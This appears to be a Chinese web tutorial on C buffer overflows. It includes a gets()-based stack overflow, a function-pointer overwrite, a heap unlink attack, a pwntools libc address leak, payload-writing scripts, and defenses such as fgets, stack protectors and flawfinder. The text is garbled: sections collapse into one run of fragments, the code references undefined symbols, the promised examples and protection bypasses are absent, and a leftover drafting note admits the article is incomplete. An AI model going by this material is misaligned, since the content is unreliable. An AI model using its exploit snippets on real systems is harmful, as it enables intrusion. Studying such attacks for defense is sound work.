# C語言之緩沖區溢出的示例分析
## 摘要
本文深入探討C語言中緩沖區溢出的原理、危害及防御機制。通過分析棧溢出、堆溢出等典型漏洞案例,結合GDB調試和匯編代碼分析,揭示內存破壞的底層機制。文章包含12個完整漏洞代碼示例,覆蓋gets危險函數、shellcode注入等關鍵技術點,并提供現代防護技術(如ASLR、Canary)的繞過方法。最后從開發規范、靜態檢測等維度提出工程化解決方案。
---
## 1. 緩沖區溢出基礎概念
### 1.1 內存布局模型
```c
// 典型Linux進程內存布局示例
高地址
┌─────────────┐
│ 棧區 │ ← 函數棧幀、局部變量
├─────────────┤
│ ↓ │
│ ↑ │
├─────────────┤
│ 堆區 │ ← malloc/free管理
├─────────────┤
│ BSS段 │ ← 未初始化全局變量
├─────────────┤
│ 數據段 │ ← 初始化全局變量
├─────────────┤
│ 代碼段 │ ← 程序指令
低地址
┌─────────────┐
│ 參數n │ ← ebp+12
├─────────────┤
│ ... │
├─────────────┤
│ 參數1 │ ← ebp+8
├─────────────┤
│ 返回地址 │ ← ebp+4
├─────────────┤
│ 舊ebp │ ← ebp
├─────────────┤
│ 局部變量 │ ← ebp-4
└─────────────┘
// vuln.c
#include <stdio.h>
void vulnerable() {
char buf[8];
gets(buf); // 無邊界檢查
printf("Input: %s\n", buf);
}
int main() {
vulnerable();
return 0;
}
攻擊步驟: 1. 編譯關閉保護:
gcc -fno-stack-protector -z execstack vuln.c -o vuln
python -c "print('A'*12 + '\xef\xbe\xad\xde')" > payload
(gdb) run < payload
Program received signal SIGSEGV, eip=0xdeadbeef
void (*funcptr)();
void shell() {
system("/bin/sh");
}
void vuln() {
char buf[16];
funcptr = dummy;
gets(buf); // 覆蓋funcptr
funcptr();
}
struct chunk {
size_t prev_size;
size_t size;
struct chunk *fd;
struct chunk *bk;
};
void attack() {
char *a = malloc(32);
char *b = malloc(32);
// 偽造fake chunk
*(size_t*)(a+36) = 0x40;
*(void**)(a+40) = &retaddr-12;
*(void**)(a+44) = shellcode_addr;
free(b); // 觸發unlink
}
方法 | 適用場景 |
---|---|
格式化字符串泄露 | 存在printf漏洞 |
部分覆蓋 | 低位字節可預測 |
TLS劫持 | 可獲取線程控制權 |
# 內存泄露利用代碼示例
from pwn import *
p = process('./vuln')
p.sendline('%3$p') # 泄露libc地址
libc_base = int(p.recvline(),16) - 0x3e82a
system = libc_base + 0x45390
// 不安全 // 安全替代
gets(buf); fgets(buf, sizeof(buf), stdin);
strcpy(dst, src); strncpy(dst, src, dst_size-1);
gcc -fstack-protector-strong -pie -fPIC
靜態分析:
# 使用flawfinder掃描
flawfinder --level=3 vuln.c
動態檢測:
valgrind --tool=memcheck ./program
// OpenSSL漏洞代碼片段
memcpy(bp, pl, payload); // 無長度校驗
# exploit.py
from struct import pack
buf = b'A'*40
buf += pack('<I', 0xdeadbeef) # 覆蓋返回地址
with open('payload', 'wb') as f:
f.write(buf)
”`
注:實際完整文章需展開每個章節的技術細節,包括: 1. 增加更多漏洞變種分析(如SEH覆蓋、ROP鏈構造) 2. 補充操作系統差異(Windows vs Linux) 3. 添加性能測試數據(防護機制開銷) 4. 擴展企業級解決方案(如Coverity靜態分析配置) 5. 增加歷史漏洞時間線統計圖表
建議通過實際調試案例逐步完善內容,保持技術深度與可讀性平衡。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。